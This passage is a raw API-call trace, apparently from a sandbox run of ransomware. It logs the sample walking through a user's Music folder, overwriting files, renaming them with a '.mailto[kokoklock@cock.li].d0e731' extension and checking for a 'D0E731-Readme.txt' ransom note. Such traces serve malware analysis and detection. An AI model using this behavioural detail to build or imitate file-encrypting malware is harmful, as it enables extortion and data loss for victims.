lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x18affb24, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x18affb24*=0x4096, lpOverlapped=0x0) returned 1 [0173.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.296] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x4460, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.296] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18affb5c, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x18affb5c*=0x20, lpOverlapped=0x0) returned 1 [0173.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.296] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053f88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18affb70, lpOverlapped=0x0 | out: lpBuffer=0x3053f88*, lpNumberOfBytesWritten=0x18affb70*=0x8, lpOverlapped=0x0) returned 1 [0173.296] WriteFile (in: hFile=0x5d0, lpBuffer=0x18affb88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18affb70, lpOverlapped=0x0 | out: lpBuffer=0x18affb88*, lpNumberOfBytesWritten=0x18affb70*=0x4, lpOverlapped=0x0) returned 1 [0173.297] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18affb70, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x18affb70*=0x4, lpOverlapped=0x0) returned 1 [0173.297] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18affb70, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x18affb70*=0x6c, lpOverlapped=0x0) returned 1 [0173.297] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18affb70, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x18affb70*=0x20, lpOverlapped=0x0) returned 1 [0173.297] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18affb70, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x18affb70*=0x4, lpOverlapped=0x0) returned 1 [0173.297] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.297] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.297] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053f88) returned 1 [0173.297] CloseHandle (hObject=0x5d0) returned 1 [0173.297] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f85218 [0173.297] wcscpy (in: _Dest=0x2f85218, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731" [0173.297] wcscat (in: _Dest=0x2f85218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.297] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\9k1ysq099gefj.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\9k1ysq099gefj.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.298] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.298] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85218) returned 1 [0173.298] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.298] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8b910 [0173.299] wcscpy (in: _Dest=0x2f8b910, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0173.299] wcscat (in: _Dest=0x2f8b910, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" [0173.299] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\d0e731-readme.txt")) returned 0x20 [0173.299] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b910) returned 1 [0173.299] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9f270) returned 1 [0173.299] RtlExitUserThread (Status=0x1) Thread: id = 2103 os_tid = 0x11c4 [0173.300] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\c7fu2ujyzcfmw_cxssc.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.301] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.301] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\c7fu2ujyzcfmw_cxssc.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0 [0173.301] GetFileSizeEx (in: hFile=0x5d0, lpFileSize=0x18b7fc94 | out: lpFileSize=0x18b7fc94*=1560) returned 1 [0173.301] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.301] ReadFile (in: hFile=0x5d0, lpBuffer=0x18b7fc68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18b7fc64, lpOverlapped=0x0 | out: lpBuffer=0x18b7fc68*, lpNumberOfBytesRead=0x18b7fc64*=0x4, lpOverlapped=0x0) returned 1 [0173.302] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.302] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0173.302] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0173.302] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053f88 [0173.302] NtQuerySystemTime (in: CurrentTime=0x18b7fc40 | out: CurrentTime=0x18b7fc40*=132121213306233549) returned 0x0 [0173.302] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xa22d5c10 [0173.302] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xeb345f39 [0173.302] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x3315eeab [0173.302] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xa44cc4d7 [0173.302] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x4a2281c3 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x291a0d2a [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x8e6edc3b [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x8a552229 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x9abd724b [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x61c41cd0 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xed738443 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x2c6ea6fa [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xa5872397 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x7b7ee4f5 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xcc5926ab [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xac6e53c7 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xa2a794d4 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xea557ea3 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x7543a379 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xaed18aad [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xad42d8f9 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xf51bb19c [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xcdc837d9 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x80ab7fc4 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x47fed6c0 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x7954b56c [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x6776eab8 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xa1638189 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x7f670389 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0xabecda1c [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x96116d76 [0173.303] RtlRandom (in: Seed=0x18b7fc4c | out: Seed=0x18b7fc4c) returned 0x65e44bd3 [0173.312] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d58 [0173.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30133c8 [0173.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fd8 [0173.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30133c8) returned 1 [0173.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0173.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87308 [0173.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013440 [0173.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.314] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0173.314] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0173.314] ReadFile (in: hFile=0x5d0, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x618, lpNumberOfBytesRead=0x18b7fc40, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x18b7fc40*=0x618, lpOverlapped=0x0) returned 1 [0173.315] SetFilePointerEx (in: hFile=0x5d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x18b7fc08 | out: lpNewFilePointer=0x0) returned 1 [0173.315] WriteFile (in: hFile=0x5d0, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x618, lpNumberOfBytesWritten=0x18b7fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x18b7fc3c*=0x618, lpOverlapped=0x0) returned 1 [0173.315] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054000 [0173.315] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0173.315] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0173.315] WriteFile (in: hFile=0x5d0, lpBuffer=0x3054000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18b7fc38, lpOverlapped=0x0 | out: lpBuffer=0x3054000*, lpNumberOfBytesWritten=0x18b7fc38*=0x20, lpOverlapped=0x0) returned 1 [0173.315] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054000) returned 1 [0173.315] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0173.315] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0173.315] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0173.315] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87308) returned 1 [0173.316] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18b7fc64, lpOverlapped=0x0 | out: lpBuffer=0x3053fd8*, lpNumberOfBytesWritten=0x18b7fc64*=0x8, lpOverlapped=0x0) returned 1 [0173.316] WriteFile (in: hFile=0x5d0, lpBuffer=0x18b7fc7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18b7fc64, lpOverlapped=0x0 | out: lpBuffer=0x18b7fc7c*, lpNumberOfBytesWritten=0x18b7fc64*=0x4, lpOverlapped=0x0) returned 1 [0173.316] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18b7fc64, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x18b7fc64*=0x4, lpOverlapped=0x0) returned 1 [0173.316] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x18b7fc64, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x18b7fc64*=0x6c, lpOverlapped=0x0) returned 1 [0173.316] WriteFile (in: hFile=0x5d0, lpBuffer=0x3053fb0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18b7fc64, lpOverlapped=0x0 | out: lpBuffer=0x3053fb0*, lpNumberOfBytesWritten=0x18b7fc64*=0x20, lpOverlapped=0x0) returned 1 [0173.316] WriteFile (in: hFile=0x5d0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x18b7fc64, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x18b7fc64*=0x4, lpOverlapped=0x0) returned 1 [0173.316] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0173.316] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0173.317] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fd8) returned 1 [0173.317] CloseHandle (hObject=0x5d0) returned 1 [0173.317] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x102) returned 0x2f900c8 [0173.317] wcscpy (in: _Dest=0x2f900c8, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731" [0173.317] wcscat (in: _Dest=0x2f900c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0173.317] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\c7fu2ujyzcfmw_cxssc.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\c7fu2ujyzcfmw_cxssc.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0173.318] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0173.318] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f900c8) returned 1 [0173.318] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.318] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8ba10 [0173.318] wcscpy (in: _Dest=0x2f8ba10, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0173.318] wcscat (in: _Dest=0x2f8ba10, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" [0173.318] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\d0e731-readme.txt")) returned 0x20 [0173.318] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ba10) returned 1 [0173.318] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0aaf8) returned 1 [0173.318] RtlExitUserThread (Status=0x1) Thread: id = 2104 os_tid = 0x11c8 [0173.320] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8b090 [0173.320] wcscpy (in: _Dest=0x2f8b090, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" [0173.320] wcscat (in: _Dest=0x2f8b090, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0173.320] wcscat (in: _Dest=0x2f8b090, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\*") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\*" [0173.320] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021fe8 [0173.320] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\*", lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dbf37f0, ftCreationTime.dwHighDateTime=0x1d4cf19, ftLastAccessTime.dwLowDateTime=0x86ac31ca, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86ac31ca, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808a0 [0173.322] wcscmp (_String1=".", _String2=".") returned 0 [0173.322] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dbf37f0, ftCreationTime.dwHighDateTime=0x1d4cf19, ftLastAccessTime.dwLowDateTime=0x86ac31ca, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86ac31ca, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.322] wcscmp (_String1="..", _String2=".") returned 1 [0173.322] wcscmp (_String1="..", _String2="..") returned 0 [0173.322] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3faae320, ftCreationTime.dwHighDateTime=0x1d4cc79, ftLastAccessTime.dwLowDateTime=0x104c44b0, ftLastAccessTime.dwHighDateTime=0x1d4d382, ftLastWriteTime.dwLowDateTime=0x86a50a82, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5282, dwReserved0=0x0, dwReserved1=0x0, cFileName="-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="-ZXPTQ~1.D0E")) returned 1 [0173.322] wcscmp (_String1="-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned -1 [0173.322] wcscmp (_String1="-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned -1 [0173.322] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97d78 [0173.322] wcscpy (in: _Dest=0x2f97d78, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" [0173.322] wcscat (in: _Dest=0x2f97d78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0173.322] wcscat (in: _Dest=0x2f97d78, _Source="-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731" [0174.145] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f97d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0174.146] FindNextFileW (in: hFindFile=0x2f808a0, lpFindFileData=0x3021fe8 | out: lpFindFileData=0x3021fe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf874e60, ftCreationTime.dwHighDateTime=0x1d4ce00, ftLastAccessTime.dwLowDateTime=0x131b820, ftLastAccessTime.dwHighDateTime=0x1d4d5cb, ftLastWriteTime.dwLowDateTime=0x86a76c0e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16299, dwReserved0=0x0, dwReserved1=0x0, cFileName="bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="BP18ET~1.D0E")) returned 1 [0174.146] wcscmp (_String1="bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.146] wcscmp (_String1="bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.146] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff1520 [0174.146] wcscpy (in: _Dest=0x2ff1520, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" [0174.146] wcscat (in: _Dest=0x2ff1520, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\" [0174.146] wcscat (in: _Dest=0x2ff1520, _Source="bp18etyN.m4a.mailto[kokoklock@cock.li].d0e731" | out: 